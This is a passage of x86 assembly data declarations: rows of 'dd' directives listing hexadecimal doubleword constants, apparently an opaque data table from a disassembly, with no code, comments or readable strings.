		dd 990C2A31h, 60FE5698h, 92128BC1h, 18CC49F6h, 0B0198810h
		dd 4CC1AE36h, 4DCBEEAh,	2F962AE0h, 0FAEC06F1h, 0DCF75731h
		dd 4763F8C0h, 8C80ECABh, 9FF0C585h, 0F114372Dh,	9DFEAADCh
		dd 0A46B2CB1h, 0E91DAFE1h, 0CC9115EBh, 4EF08809h, 160F3B6h
		dd 0F5056C31h, 0ED5F3039h, 0D2CD1F08h, 620264ADh, 0A0795F1Bh
		dd 0A0670C98h, 713F1532h, 0ECA054D2h, 6861EB4Ah, 0D26EAC39h
		dd 0DA05545Ah, 20C91E8Fh, 32DD23CCh, 74219F3Dh,	0D270DF15h
		dd 3A0E0D4h, 4DEC2280h,	32AA5906h, 61B11A1Fh, 0B7DF0821h
		dd 0B81895AFh, 8FF4F0E0h, 1A9C228Ah, 7F385D62h,	0DD0BEB9h
		dd 15E530E9h, 0B720FCC9h, 4F643098h, 1E031909h,	0FEE193B5h
		dd 28C5FAAh, 0CD5CF8Dh,	0C0CC004Ch, 9E1D5B28h, 7E0C91D0h
		dd 611E1049h, 785E08EBh, 0B118BA2Bh, 82B3F893h,	32A30891h
		dd 245C19C5h, 3EAA4967h, 0B0CF0A84h, 80888A7Dh,	5B254F6Ch
		dd 91CC93DEh, 6F3ED84Ch, 18880847h, 0AE190A98h,	0F598C682h
		dd 1862A884h, 24311E08h, 7C7E0368h, 0CB303787h,	6024510h
		dd 8DABE94h, 11DF7E32h,	0EE5E02D7h, 219A0C0Bh, 321C90FBh
		dd 0E809F7FFh, 0DEB57F01h, 111F4503h, 0BF08DC82h, 0AC1F0675h
		dd 0F74108C9h, 5F01EAF1h, 0E911900Ch, 66D8DF10h, 6618DA50h
		dd 19EB293Fh, 1B311566h, 0FFF14009h, 627B1E44h,	0C53018C8h
		dd 882C7041h, 0C697F08h, 8F21855Fh, 904309CFh, 0F958A824h
		dd 0EE4BC0B5h, 500C4C40h, 40FED0F4h, 4E41BEA9h,	9EC4A2E2h
		dd 0B8644FA8h, 34944284h, 57AC024Dh, 8BB48326h,	0C402829h
		dd 65BE37D0h, 89D8618h,	2174FE32h, 0B91049F0h, 48178192h
		dd 2D812054h, 910B88B6h, 80CB0887h, 6FEB81B5h, 4CC2001Ch
		dd 3AAA0066h, 59E340A6h, 2B0085BAh, 44298F14h, 0AE92E8h
		dd 4F76797Bh, 663F17D9h, 18076A29h, 73AB4960h, 797A400Ah
		dd 80B85D33h, 0EA6829CFh, 0D258C71Ch, 192101CEh, 1048B9A1h
		dd 6F55727Fh, 91CC89BAh, 81FF8B58h, 0F064BD8h, 13C90A5Fh
		dd 1A65708Ch, 4B807D08h, 20407E2Bh, 0AA20218Ah,	580A1F6Ah
		dd 2E2A073Eh, 47EAC231h, 57F7860Fh, 42EE3330h, 8144810h
		dd 74809C2Ah, 1B720FE1h, 0A9C63D80h, 98B7A0F9h,	8BA8EB80h
		dd 0BEA0AF9Ch, 4AEE7E04h, 0A7F90541h, 10E48470h, 4D09209Eh
		dd 1D3F9914h, 0E87328ECh, 0C7ED8B3Ch, 35FD6881h, 39B450FAh
		dd 40CCA1A7h, 6EABA048h, 46914821h, 0DAE5C0D8h,	80482EFBh
		dd 8CAFEBD9h, 0A864348Fh, 0E81B9E7h, 92CBFFEDh,	2885E4Ch
		dd 0CE713642h, 519074Fh, 7A80CFAh, 98490B08h, 5DBDF060h
		dd 0B95C44D1h, 20E8B631h, 80201154h, 0F020639Eh, 58151084h
		dd 0A0283EB6h, 6F7946C7h, 91F8F9F4h, 7093CA2Bh,	0C3D786E3h
		dd 0F9391062h, 94AB10EAh, 41C19C46h, 4CFA91F0h,	881809F8h
		dd 2B08066Bh, 82A0AFD7h, 0B1EB1B67h, 4FEE3922h,	78C28210h
		dd 0EC900817h, 70C80507h, 0DEEB0D2Eh, 510CE1B8h, 0BD1C25E0h
		dd 8A660C11h, 494A0812h, 0F0F020E4h, 1344AEEFh,	68086179h
		dd 4015B92Bh, 0FFF375C4h, 6810EFE9h, 0CB1011ABh, 0C0EA3B38h
		dd 503C91CAh, 0EC24D9FFh, 714520D8h, 18D9987Ch,	99273673h
		dd 0EE0C8BB9h, 88836BFFh, 0A030E72Bh, 0CBE2320Bh, 404F8E90h
		dd 6C164281h, 0F6071DB9h, 0B1948B1h, 0D4F0F2C4h, 8BCB5089h
		dd 3904203Eh, 4FE72434h, 8B98664Ch, 0C0A0C8E0h,	50CDBCBDh
		dd 0A8F09830h, 0B3D8A12Ah, 0C6080989h, 0B68E3803h, 10BA1013h
		dd 23688409h, 261BACF8h, 9A46710h, 0A8AF664Ah, 12200EACh
		dd 0AD601A63h, 0E2101919h, 348CB80Dh, 4064FD9Ch, 6A035D08h
		dd 502643F3h, 0CA09B079h, 89B4A78Ah, 7CDD1088h,	6A086E62h
		dd 57800C43h, 5BF228C6h, 0EAC34008h, 26C0724Dh,	0EF8AC8FEh
		dd 4112BC68h, 40A03C45h, 0C8EDA00Ah, 807F094Ch,	0B493840Ah
		dd 0C47DBCE0h, 621E44E8h, 6B85DA0Ah, 0CB05B401h, 9C0A23D7h
		dd 4B1DB82Ch, 0C40140FAh, 56E0B08h, 0C01F4CEBh,	0AC62308h
		dd 1494BBF5h, 4B15F4BAh, 0D63AB816h, 659F864h, 41D1698Ah
		dd 8662D104h, 591B6A08h, 84C6FD8h, 0CA0C7808h, 62AAF0BAh
		dd 862A08BFh, 19DA8A03h, 0F1334AE8h, 2008BED8h,	1F6A2075h
		dd 4950EA22h, 0F2F0605Dh, 9120984Bh, 75391242h,	90859B7h
		dd 0C15C275Dh, 5B558CC3h, 783BD910h, 0F042ACA0h, 294C6090h
		dd 994B122Ch, 0D45E044Ah, 24D236E4h, 694C55Ah, 595E99C1h
		dd 48157930h, 934B82CBh, 325DC0F0h, 0D1C5466Bh,	0F04C3D19h
		dd 0B0EB0864h, 323C907Dh, 8E08E12Fh, 0CB8BE083h, 376B083Bh
		dd 9CAA101Fh, 3074C1F8h, 0B9A14D6Fh, 8518D250h,	0CB084E4Bh
		dd 879CAF84h, 4769D7Eh,	86D61F1Eh, 0BCA5D04Ah, 24192B09h
		dd 2881D9E4h, 70278D0Bh, 1C26C2DCh, 0F9021DB3h,	0B884C8A3h
		dd 65489203h, 6C970804h, 5018B424h, 99997C9Bh, 0E7A89B8Ch
		dd 42C683A0h, 52393115h, 820BB030h, 0D9264439h,	0E9C15D47h
		dd 11A18B20h, 0CC5F8979h, 6DC12E02h, 1900488Ch,	3885DF60h
		dd 0A85043EBh, 6B88A068h, 48B09AC2h, 627C0410h,	0E2CB0825h
		dd 251670C9h, 8A25DED4h, 82EE87Ch, 1B1593E4h, 7865B90Ch
		dd 0C109240Bh, 705C180Ch, 8DF90ABh, 0C8F4E40Ah,	5074309h
		dd 9087346Ch, 509215C4h, 0BC4848C2h, 2F28CDC5h,	2437D110h
		dd 1092D558h, 18292C24h, 14040D12h, 0F4C1824Bh,	0C45F8A0Ah
		dd 0C3171902h, 0E40F4C21h, 0F0784BABh, 73DFCE08h, 67F9061Dh
		dd 0A472D886h, 43CC8AFh, 1E1076BDh, 87AD9902h, 618B3102h
		dd 24DFB314h, 929C4C08h, 52A44846h, 1719AB1Eh, 0A864A1F0h
		dd 86D8A8E9h, 3518C515h, 959C09EFh, 8CE58A6h, 4B807BF8h
		dd 1810631Ch, 10191333h, 0FB30257Fh, 0B8ED9C51h, 58D3B443h
		dd 3861A510h, 5E4BA90Bh
		dd 90E602F8h, 148D6C1h,	5E4BA039h, 31877B8h, 0D9313A9Eh
		dd 2BE4A03Fh, 1C3E56A9h, 0E6E80D81h, 79BC5274h,	56019465h
		dd 510881E8h, 0B8971900h, 8F3EA080h, 0E4C82E07h, 2BB9911Ch
		dd 40783EAEh, 0F4FACA37h, 0D8B508A1h, 5755AA46h, 3F181880h
		dd 0F2626877h, 5898D921h, 78DB4B64h, 640C8D90h,	0F1502D9Dh
		dd 0E82050EDh, 506C9425h, 300565Ch, 0F66FF0F2h,	0FC7F483Ch
		dd 449607D9h, 0B05183F4h, 15BFA232h, 99091002h,	901D4E0Eh
		dd 791CE21Ch, 0E44740B9h, 9E31643Bh, 8322C16h, 552490FCh
		dd 0E0818717h, 5DDDB40Ch, 58401h, 0CC4AF8F6h, 95401D08h
		dd 0AC0344A7h, 1775AD7h, 74C72441h, 88073651h, 8F2DD538h
		dd 0B50A93DDh, 8ED1424h, 31AEDAC6h, 0C6813485h,	711EAF8Ch
		dd 5F1BC401h, 11FB3A90h, 641525BAh, 45F0841Bh, 7F448437h
		dd 7C185604h, 232D20C1h, 1308401Fh, 39328D8Ch, 0B6C9A15Ch
		dd 4208C38h, 893F677Bh,	9F440561h, 26F6A405h, 299DE447h
		dd 4C11AA8Fh, 31F44DD8h, 0E4491EC7h, 56319D38h,	0E9C0B02Bh
		dd 0C2CB38C5h, 0ADB68439h, 7C55D085h, 0DD081CB4h, 662EF77h
		dd 70C96324h, 0C1805557h, 0C16AADE1h, 0CAE871A0h, 0D8707439h
		dd 341013AFh, 4736462h,	7586A582h, 0F0007D0Bh, 8962793Bh
		dd 95388A81h, 0C5D9707Ah, 0C7A16E70h, 21BFA4A9h, 5B763586h
		dd 0C5B40670h, 20A96765h, 0F52B5B44h, 7463707Ah, 91F3AAB1h
		dd 388A71E0h, 0D87005D5h, 0ED1071D4h, 840C7A59h, 0B270BE9Eh
		dd 9040B966h, 0FB52B08h, 0DB586178h, 73ED0Fh, 0CABA2F24h
		dd 0D8780848h, 3C3151C2h, 0C6C4391Eh, 95077501h, 0B07C4609h
		dd 5434D1FDh, 3264D090h, 5DB0A789h, 6C047CB6h, 77B176AAh
		dd 0A1C10402h, 6C40D085h, 0AD183174h, 0A471B532h, 37D0A9B6h
		dd 493140BAh, 5B7C1510h, 0A5B3047Ch, 444459DEh,	0D2F504D0h
		dd 0F091950Fh, 5268BA35h, 6719F804h, 1F62F894h,	0CDFAF602h
		dd 84017E61h, 9807A3CBh, 2925CEF8h, 18F098F7h, 619570DBh
		dd 168174ADh, 7C640D6Ch, 9EEDC401h, 706B3538h, 18213860h
		dd 64A9C41Bh, 8DC4CFAh,	0A1A6FAD5h, 785B77B4h, 8D2E8306h
		dd 431B9A8h, 0DC1540E6h, 0B6069852h, 548D0E7Ch,	150B179h
		dd 517D63A4h, 41F0556h,	0DF1EE66Eh, 38694446h, 7C0F1645h
		dd 0F7465904h, 21E44662h, 61F62B38h, 0A81F6074h, 71C627A1h
		dd 6439C584h, 7C7BE94Fh, 1E421175h, 0C0243870h,	0CE7B47B6h
		dd 6C68222h, 0A3C40173h, 0FFE46171h, 8E684074h,	768A8089h
		dd 350CDC21h, 20950842h, 848A1FBh, 84D5137Ch, 947F404Ah
		dd 50B8DCF8h, 636478EEh, 0E2B678AFh, 0F477B928h, 10A9752Eh
		dd 3034C1F8h, 4497CCEh,	861B7241h, 0A340D455h, 63A8781Fh
		dd 1AB5082Fh, 0A264C17Fh, 1505B008h, 22B07C78h,	30202FE4h
		dd 0B0A47E40h, 75D62BCCh, 3458E0B0h, 0CCA8F730h, 1F48B944h
		dd 2BC21240h, 28982809h, 0C54988Ch, 3EBE54DFh, 0B762E481h
		dd 0A246B648h, 3CA27694h, 0A1B21804h, 84035D73h, 882B82CEh
		dd 0A1607C70h, 0C3933547h, 5F82439h, 0A411B824h, 0AD09E998h
		dd 8590CC7Ch, 0BCA92C11h, 2D824C3h, 3E5B09C8h, 31BC9228h
		dd 7528FD95h, 0EE319011h, 0A1CB350Ch, 8C30518h,	24A0A7B5h
		dd 6887C20h, 10A58ED5h,	2BE03A4Dh, 96E0C40Eh, 0C28B7C61h
		dd 180DC4C9h, 0B00EE086h, 9CD78FEh, 0FFF0C8A1h,	0E1D0CD70h
		dd 8C8BE108h, 8CAF598h,	0D51B40B5h, 57D92864h, 9429506h
		dd 93E98266h, 0E33CAB39h, 0DE124F6h, 4CE99648h,	73E9CA94h
		dd 36E02E9h, 979CE95h, 652AF580h, 0D3E410B8h, 8106A64h
		dd 7509C5B5h, 243CAEACh, 0D3FF3C1Fh, 64085E10h,	0D71983C8h
		dd 0B827AC61h, 0E6EA2BC3h, 36265EBAh, 0C9DEE640h, 0D04F11B9h
		dd 0EF521E86h, 1BA42041h, 28651676h, 88063788h,	570931B5h
		dd 0FEC1EC12h, 83C4195Fh, 501C4451h, 4FE0AA26h,	589E8388h
		dd 3910E268h, 3615FBE4h, 0DDB060E7h, 0AD4460A9h, 382F6484h
		dd 0F3545076h, 905A91BCh, 0A9B08615h, 0D8AFF62Bh, 0D6660AC0h
		dd 0C400F1EEh, 48907BF3h, 8DA6CEEh, 0FC743440h,	0E73C104Fh
		dd 0E8640C5Bh, 0AD147851h, 777F8274h, 4217EEDh,	20943279h
		dd 0D60ED82Dh, 229E1C9Ah, 907F531h, 0DC42A4ABh,	4D043E14h
		dd 5D611CDDh, 4CCEA400h, 144DF65Ch, 9E60F084h, 0F82352DAh
		dd 5C304502h, 83E1276h,	7F13D20Ch, 704C7747h, 76D0C378h
		dd 8128F9Eh, 0D851A689h, 52A9F090h, 8012002h, 80DB8428h
		dd 7C19152Bh, 0EE82D560h, 240F40CAh, 20EBCB31h,	0C89B4F5Bh
		dd 0E3E90887h, 0C2B6F036h, 14B05448h, 24B87E84h, 133A1CA5h
		dd 580C558Bh, 4C7608C2h, 160868C3h, 0CE188DC7h,	0ADC9F608h
		dd 0AB4B8364h, 910CC244h, 80E9D4C4h, 28DC66CCh,	2040097Bh
		dd 43952036h, 3806D94Fh, 577874D6h, 1C1C02Dh, 888DC891h
		dd 8E66469h, 313A1EF6h,	5F7610FBh, 0BAB71601h, 56D45468h
		dd 20323137h, 4103ED9h,	554C5096h, 0A304020Ah, 0F363DDEAh
		dd 0B22850DEh, 9726AC33h, 1F15386Fh, 0DBF5F0D8h, 0A48B4485h
		dd 88EE2833h, 364808B4h, 0B4686CF7h, 101B52D8h,	0C08E3DEh
		dd 884EAA44h, 0A86848E1h, 0E0A0152Bh, 3373409Bh, 6598E488h
		dd 7CC9D04Fh, 0D2182488h, 8479FC8Eh, 0CA4F404Ch, 5B817CADh
		dd 7C3D4838h, 24452402h, 0C0DB8840h, 0D67A44F9h, 41528B4h
		dd 4805B06Ch, 0A1806352h, 3815C464h, 0B06C01D6h, 54BC441Ah
		dd 20048805h, 937848E4h, 994836E8h, 0F5F60A9Ch,	710CD063h
		dd 808F085Dh, 989066D6h, 1C233618h, 0C6820A08h,	88DC518h
		dd 0B8807B24h, 4C81E412h, 10976424h, 760803B0h,	10188BB7h
		dd 656877F1h, 0F238C475h, 60C08288h, 2C838869h,	10043074h
		dd 0A1C91995h, 0C05F28BCh, 25A21C0Eh, 0A40605C8h, 3120DAAFh
		dd 6608DB62h, 53EBE3DEh, 8A76C816h, 2516A005h, 861D47Ch
		dd 852607Fh, 5087440Ch,	9C3C5016h, 5AA89AB6h, 76440456h
		dd 0B136065Ah, 0BA7BE860h, 0ADA02858h, 0F02B57ECh, 0CDE4DFCEh
		dd 0A2E446B4h, 17362BC8h, 0A249E7F0h, 8423B7BDh, 17F92B46h
		dd 61AE69Ch, 1844BA49h,	36385524h, 838CAF04h, 0C6DBAE3Ah
		dd 79C43910h, 6CF1613h,	0E9D4D61Ch, 0C0780256h,	4575FC41h
		dd 0B4648079h, 0A8203D66h, 7CD65708h, 0B5CDA681h, 44188B4h
		dd 81F609BCh, 7C1380A5h, 6B187C80h, 0A441A8FCh,	0D638C6E9h
		dd 0B62B48B2h, 0EDE78413h, 32221F3Fh, 7638A644h, 549EE08Fh
		dd 4C7D886Ch, 160980BCh, 7C0586FEh, 3F8C7C19h, 9B94EC11h
		dd 75BEE410h, 373C0F49h, 0B3445863h, 0D2123605h, 84D870C8h
		dd 3F1969DDh, 0A45FFDC1h, 82B37006h, 842CC9B6h,	2395F819h
		dd 1EAF0A0h, 399763C0h,	0A12B0424h, 91E09CFEh, 0E7E68A77h
		dd 39650479h, 798C7C2Fh, 65A92F08h, 25640B0Fh, 0CC040C7h
		dd 65C849ECh, 2D44141h,	5FCEF69Ch, 830CC86h, 7C40B62Bh
		dd 8806816Eh, 4005A89h,	21804278h, 62209024h, 41F608E7h
		dd 90932624h, 12092674h, 9B360C48h, 0CD5DD6F8h,	0E8BA28E8h
		dd 0C4F97626h, 67549604h, 44E024C0h, 0DE28F026h, 6391308h
		dd 0C08BF6CCh, 56642F8h, 1908E528h, 0C0CB85B6h,	0CC098FD6h
		dd 7B3504CEh, 0A0D2F503h, 4F4775E1h, 576EC0A0h,	50AA12CCh
		dd 67BBF83Dh, 2C87C831h, 76808408h, 5EF49AA0h, 5B1C7C0Ah
		dd 5196D331h, 0B08AE6C4h, 0D81C4215h, 0FA7B81B4h, 0E3E47B54h
		dd 57D538C5h, 18A5DC7Ch
		dd 71283C8Dh, 80AF4404h, 44EA0781h, 10357FD5h, 9B58002Ch
		dd 8BC75457h, 69C346EEh, 6850442Bh, 6645B260h, 30A96326h
		dd 687316E4h, 2C0D68AFh, 841132BBh, 388A3284h, 0D86C6E76h
		dd 0B3108FCBh, 241B64BEh, 8BE39E1h, 0CE42D61Bh,	31AD9378h
		dd 7508BEB8h, 0B5C86001h, 10BC3432h, 484BE65h, 3B804140h
		dd 0CCF49266h, 44570070h, 0CE19C188h, 0F0489091h, 8D1CA46Ah
		dd 95CD8388h, 7148054Bh, 16945047h, 0A5D6C640h,	0EF3940F8h
		dd 7B441FA4h, 2036659Ch, 2E746C09h, 0E9CD1008h,	0C9440664h
		dd 1362203Fh, 2E0B608h,	76020516h, 0DBD60279h, 0FEB55C41h
		dd 3C95B883h, 0FE75081Bh, 2447C318h, 99E05A11h,	741489EFh
		dd 8C44B8Ch, 0C6489975h, 0CC2AD391h, 0C17147D4h, 627A913Fh
		dd 28BFE411h, 0B80A2B2Ch, 7D0C85E0h, 847B4067h,	0B638A262h
		dd 4B4BE58h, 663F439Fh,	7A240561h, 14B5BC93h, 0BC4B7640h
		dd 8B28F626h, 0B0A2D416h, 0E88582B2h, 28686C5Fh, 11A21208h
		dd 37C41D05h, 9F6E5460h, 0E010723Ch, 0C8C24B3h,	88D64639h
		dd 0EBA00C1Bh, 0D2992081h, 0B805C2D3h, 987C6D56h, 3A90182Eh
		dd 5B04F9EBh, 0D822F681h, 4B8C81A4h, 0A4D18A58h, 66F9800Ch
		dd 6490F9D7h, 572C4401h, 0F980BACCh, 0CFC8D1C6h, 5AE4A13Dh
		dd 2D17809h, 20C3548h, 0D5032015h, 31F124C2h, 78C89038h
		dd 27F830B6h, 66741097h, 0E4840C06h, 902EA0DCh,	1CF6248Ch
		dd 22E291A0h, 0A08447Bh, 0FB8398AFh, 2C7FBA71h,	90742461h
		dd 0ACDE815h, 573E83EFh, 4F939684h, 1DD6B2F0h, 0D500A06Ch
		dd 46574F10h, 29B3B1h, 8D52F2AEh, 3EA30FA9h, 0B5087950h
		dd 25A65600h, 89C3601Dh, 637F06A1h, 388078FCh, 4A22DA0Ah
		dd 3070282Fh, 97661461h, 9C80201Ch, 4E297D19h, 2CE54D03h
		dd 1ED9012Eh, 7EA1B08h,	0C1BE206Eh, 98BBAB4Eh, 0EF683918h
		dd 0A8B1871Fh, 3C1C24C6h, 3EA89803h, 0F82373B1h, 171425F1h
		dd 355513Bh, 1F107179h,	0EFE0181Fh, 0F3AEB107h,	0F40FD141h
		dd 0F501E1E3h, 0F616108Fh, 4DD83180h, 0C700125Dh, 68A9407Ah
		dd 113EDEh, 0C9A7D2Bh, 1C725F57h, 0DF5E7B07h, 8ACCC610h
		dd 35F279h, 30E6A8F5h, 2FF69D55h, 0EAE9B51Eh, 0E7BF1506h
		dd 0DEE43C18h, 0F4329507h, 0F2A5832Fh, 9CC2831h, 208EC5B8h
		dd 3583B9EFh, 81FBF45h,	7507C07Dh, 0D5C2C108h, 0FAF502D4h
		dd 0D3063501h, 0C725108Ch, 0C8629C20h, 6C98F18h, 9BF008FCh
		dd 76560E07h, 0F640205Eh, 1F4B4D78h, 0F8B1D6CDh, 91509580h
		dd 8A54D230h, 747AAC29h, 38530308h, 0B57CF2A0h,	0DDE7581h
		dd 20E8BC10h, 0EBD522D9h, 0B7F18F41h, 0E9C00999h, 14F501F6h
		dd 53208BEh, 5503EAE9h,	35D80C0Ch, 0F18D6C2h, 0D208C666h
		dd 0A4F520E8h, 20A5B520h, 0D531A715h, 77B6E068h, 0DAE4400Fh
		dd 16A30685h, 616298E3h, 2CD115C8h, 0C56235C1h,	10B75B8h
		dd 2AD9EB5h, 0FC0C0FA4h, 0B38994B1h, 0F91C452h,	7698698Ch
		dd 0A10BCAFh, 0F3B243A0h, 75152F0Ch, 0CC8C98E8h, 3650BA41h
		dd 0C4747953h, 0E3711D92h, 0D6519428h, 0D4350CDCh, 91BAE8CCh
		dd 0ADFA580Ch, 83C54084h, 2FF50802h, 85C25FD5h,	0C02BB2DCh
		dd 991E0210h, 14E72349h, 0C0EE55E0h, 0E9B7350Ch, 0B8A24D10h
		dd 9AD5DC41h, 0C3081A18h, 75080DF8h, 0CE20CACFh, 0CB95B482h
		dd 1F357C48h, 0BA42B8A5h, 0C36898C6h, 0AC1F5233h, 71E232A0h
		dd 63241CA4h, 9C9290ACh, 0B7158C06h, 0DCD524C8h, 0C4A03E84h
		dd 0F1349519h, 0B88648B0h, 0B0C8C9D5h, 0E0C77332h, 95C495BEh
		dd 3825C12h, 1041EC33h,	550889D9h, 98B023F9h, 0D66814C0h
		dd 92A8CC1Fh, 186CE353h, 0D54869A3h, 0A82456E5h, 8CBB43B1h
		dd 0E97E95D8h, 0B02452E1h, 14142AA2h, 0FCBA49E3h, 9080B326h
		dd 50553441h, 0E210982Ah, 46888C4h, 1CC00F83h, 0C2514971h
		dd 24E0588Ah, 0DA98F394h, 6649D9AEh, 9121325Ch,	8815033Eh
		dd 33754815h, 900DF098h, 9267E041h, 0F539C53Ch,	2C907C32h
		dd 0D4FA0B14h, 8463CA68h, 0B970C254h, 1C907B13h, 78ADEE03h
		dd 34A70B0h, 0A32B8C7Ch, 0D9E170ECh, 1C4829A5h,	804C0343h
		dd 7BF6B535h, 0B73D0819h, 58241DF8h, 0C8AB5019h, 0EC989BC4h
		dd 0C85AA98h, 5558C0E3h, 9C5C24F1h, 13F2AC74h, 0BEEAE3FBh
		dd 0B8B29C6Fh, 0D0221AC9h, 0F049B183h, 0B5543021h, 3158954Dh
		dd 0F0D508CCh, 89F7190h, 12C8FFB5h, 0F5EC4670h,	5E6318CAh
		dd 15135510h, 74BE1508h, 901E2F1h, 69239188h, 0A4EB9509h
		dd 0F5040834h, 4C8C145Fh, 36951398h, 240F9048h,	0FAD02444h
		dd 0A7798002h, 80E0C338h, 9C804F5h, 18551DA6h, 0E6D9407Ch
		dd 0D77170C6h, 15D34008h, 6880E944h, 180488E0h,	0E2B5B87Ch
		dd 6F98DE59h, 0DDF30608h, 20E55D40h, 40F1AD19h,	75088892h
		dd 0A2B50B94h, 2C119CABh, 0EC150133h, 0EB350888h, 18CC9515h
		dd 150839F5h, 244182E0h, 0FB2892BAh, 8910C4Ch, 0C15D33F5h
		dd 80C3F20h, 38C27075h,	95E8A0E2h, 4CD45910h, 38D51062h
		dd 9E9F4A6h, 20506359h,	666AEC45h, 9C718D6h, 0CAF9C041h
		dd 4A241192h, 0BD43D04h, 6CA61BF5h, 55330859h, 209311C9h
		dd 90CC6D09h, 0C2E340CCh, 0C9889508h, 81148EBh,	0F2329A55h
		dd 35023619h, 0A830CFB1h, 4622338h, 4E46388h, 0BD7F6D5h
		dd 6AF8A439h, 0C818151Dh, 4A902A2Ah, 8E4C0C12h,	88E39510h
		dd 8AED508h, 3508C315h,	4AD996BBh, 90ACD110h, 9F5514F9h
		dd 609518A4h, 80871508h, 0A0A3B8B5h, 0B8E9B1E2h, 18A045E0h
		dd 83150888h, 3623CB2h,	45B07508h, 0A61162FCh, 0F98D0339h
		dd 0D0F047F5h, 0BC81E994h, 4C8C0992h, 0AA097C5Ch, 6A60AC4Dh
		dd 933F8D8h, 0F5881284h, 11F82BB1h, 0A3C2034Ah,	98616D20h
		dd 759089B6h, 16B82E3Fh, 81F1FC5Dh, 688CF1F3h, 0FD20AED9h
		dd 1F317092h, 0C1D1B0BFh, 4951907h, 7B015184h, 6D194360h
		dd 0FC74E381h, 59289166h, 0E368585Ah, 0A8E89D32h, 0B5F441F6h
		dd 6032BC71h, 0D09989A2h, 1A8301B2h, 0E15908Ah,	96950984h
		dd 922908A4h, 3501E3E8h, 0F892C2B4h, 6694C24Fh,	6887084Fh
		dd 80A22A1h, 0AA985301h, 8452BF7Ah, 92D4CFD6h, 4E0CAA61h
		dd 0B3D5F1BEh, 0C038E8D0h, 8CAAC625h, 5923AE40h, 63F0D4CFh
		dd 4F265C7Fh, 0D896D8B6h, 99AD07Ch, 0BDAD21C1h,	24D7F022h
		dd 0ED01889Fh, 99A47EBCh, 70D77194h, 8666E2ECh,	3609D720h
		dd 10800ABAh, 6C1E6E7Dh, 0B527E96h, 47143410h, 10DF804h
		dd 1608B3A1h, 0F4D23B92h, 36016D04h, 46F3E14Eh,	318CEA4Fh
		dd 0D71A6ECFh, 8CF8578h, 8D378F78h, 341B1879h, 704C3429h
		dd 48602BBAh, 0A7F22650h, 5334009Ah, 0A3F8592Eh, 6E3E3381h
		dd 0CB02AECh, 8806321h,	7F4528A6h, 64861848h, 0A4233257h
		dd 0B9313B0Ch, 864F0822h, 7A8421E8h, 0D12184F3h, 18671536h
		dd 430CE62Ah, 90FA2143h, 6247C88Bh, 24BC6F1Fh, 0E9847875h
		dd 0CA99D0Ch, 86CA0C47h, 0F1216B43h, 2A3C3795h,	1B430C4Ah
		dd 99B4EB29h, 0F0EE192Fh, 1B207970h, 81AA212Dh,	427B5C08h
		dd 70017FDEh, 92FC1DDBh, 0E1490Fh, 8C034900h, 6D85E796h
		dd 0B8006BF4h, 0AD5FAE48h, 0FCF1AA2h, 32F407BEh, 1077E0C0h
		dd 0AEE8C0D5h, 5248349h, 61FFD6CFh, 0F734E042h,	10B52064h
		dd 0EA802092h, 67AD0035h, 0F5F781E0h, 0C90646EBh, 0DF07D776h
		dd 6E3B0A1h, 44F8D49Dh,	5019A0DEh, 0FF89C25Ch, 0C04603F0h
		dd 0FCF1B3A8h, 7AF20DE0h
		dd 874488C0h, 0A5D728DDh, 9234401Ch, 0EA75F6BCh, 2058FF51h
		dd 0BD021B49h, 8EF37C12h, 0E5A44820h, 85D803DDh, 0AE5D364Bh
		dd 9F4D5939h, 8037570Eh, 0DEE85E70h, 0EAE52ED8h, 0AB070AD3h
		dd 6E79EC8h, 51E88EF2h,	0E169371Fh, 1581C40Fh, 65E51214h
		dd 35C5F805h, 0EAD03443h, 0E777D0A8h, 19A11E20h, 94927F4Ch
		dd 0D5DC0153h, 80E09268h, 50FB7BF8h, 0C5920C9h,	32F9F0E6h
		dd 9906B5DCh, 4BA10543h, 84C320B9h, 7C8B2413h, 21BB0840h
		dd 3F27C9h, 92604B67h, 5550B943h, 99AC68C0h, 0FA27CF34h
		dd 84AE316Bh, 473AD081h, 6F819C68h, 0AC805843h,	6117B115h
		dd 7CC840EFh, 303AD74Ch, 13017749h, 5468B88h, 90D57902h
		dd 0B2E59987h, 3308D377h, 7F8D100Ch, 18CCF0D6h,	884FE0BDh
		dd 0F2F01576h, 18C802E8h, 0F71C82E4h, 9C836187h, 0F92E6F0Fh
		dd 6033C0AFh, 0EB18101Ch, 10271483h, 69263DB0h,	0AF941018h
		dd 84A5ECh, 4D65679Fh, 5892478Dh, 9701CB78h, 0B42F2E57h
		dd 54651668h, 0BC4154EDh, 5192CFDEh, 0EC7C30D8h, 2448DB57h
		dd 0B61F7894h, 60022D4Ch, 6A2AB856h, 98488280h,	42852428h
		dd 69B4030Fh, 8448DCE4h, 402C60BEh, 4C15661Ah, 78840514h
		dd 0DE5100F4h, 7DDEAB1h, 0C0E906F3h, 396F94BDh,	75CCBC05h
		dd 800E4EBBh, 7D7E8E8Bh, 20374309h, 0CE8EB110h,	0BDA90116h
		dd 0AF34C877h, 0BA41BEB4h, 7DA16438h, 0F709B054h, 8916F2Dh
		dd 27E1108Fh, 6CB412A5h, 0D67442DDh, 4C682B68h,	7854FD0Dh
		dd 4D0C23C8h, 0E9B0970Fh, 53C9A5Ch, 33CE7976h, 0DE3028FFh
		dd 0B3722711h, 3E0C2C4h, 507A1EF4h, 40854849h, 5407B344h
		dd 0CF19C40Ah, 783E5A01h, 0CA8B0B00h, 863A88C4h, 7ED4900h
		dd 602A041h, 855A1B8Eh,	3DC4C16h, 0E139DB6Ah, 96F8542Ah
		dd 8950A373h, 0E68884A8h, 2847EB0Dh, 0B6F65301h, 0D8D071F1h
		dd 4CA0A278h, 0FBB51C10h, 0B61A4206h, 2C618275h, 0E640203Eh
		dd 98345Ch, 0D23A6B7Ch,	28BB3F4h, 45DFAF54h, 8C6727DDh
		dd 7C41A83Bh, 15C50904h, 508B06DEh, 0EDF6D60Eh,	0DDE22E22h
		dd 154B48A0h, 8D7C465Fh, 0AC00D8BAh, 28397972h,	9EEAA3Eh
		dd 5089AF19h, 8B400C0Fh, 379C5EEAh, 441BE22Ch, 0AFA1AA00h
		dd 0B3E0A070h, 2FCE0848h, 0D0E42F28h, 8418DC24h, 0D981DE81h
		dd 30A4E5BBh, 425820CCh, 0AD750608h, 0C1E9D65Fh, 1E700FB8h
		dd 0B1EC41C3h, 16403226h, 416EBAEh, 2F8A6309h, 69D38408h
		dd 0FD657640h, 84A889BEh, 0EB0532D9h, 91297953h, 461181Eh
		dd 90D06FB3h, 0B1B4B520h, 296E2D36h, 0FD34A478h, 4C977C8h
